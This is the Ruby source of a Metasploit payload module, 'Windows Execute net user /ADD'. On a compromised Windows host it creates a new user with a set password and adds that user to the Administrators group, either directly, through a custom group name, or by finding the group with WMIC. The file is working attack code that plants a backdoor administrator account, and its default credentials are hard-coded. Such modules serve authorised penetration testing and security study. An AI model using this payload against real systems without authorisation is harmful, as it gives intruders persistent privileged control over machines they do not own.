metasploit-framework/modules/payloads/singles/windows/adduser.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/windows/exec'
###
#
# Extends the Exec payload to add a new user.
#
###
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module MetasploitModule
CachedSize = 282
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include Msf::Payload::Windows::Exec
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Execute net user /ADD',
'Description' => %q{
Create a new user and add them to local administration group.
Note: The specified password is checked for common complexity
requirements to prevent the target machine rejecting the user
for failing to meet policy requirements.
Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
},
'Author' => ['hdm','Chris John Riley'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => true))
# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),
])
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register_advanced_options(
[
OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
])
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# Hide the CMD option...this is kinda ugly
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
cust = datastore['CUSTOM'] || ''
wmic = datastore['WMIC']
complexity= datastore['COMPLEXITY']
if(pass.length > 14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
end
if not cust.empty?
print_status("Using custom group name #{cust}")
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
"net localgroup \"#{cust}\" #{user} /ADD"
elsif wmic
print_status("Using WMIC to discover the administrative group name")
return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
"net user #{user} #{pass} /ADD && " +
"net localgroup \"%X\" #{user} /ADD\""
else
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
"net localgroup Administrators #{user} /ADD"
end
end
end
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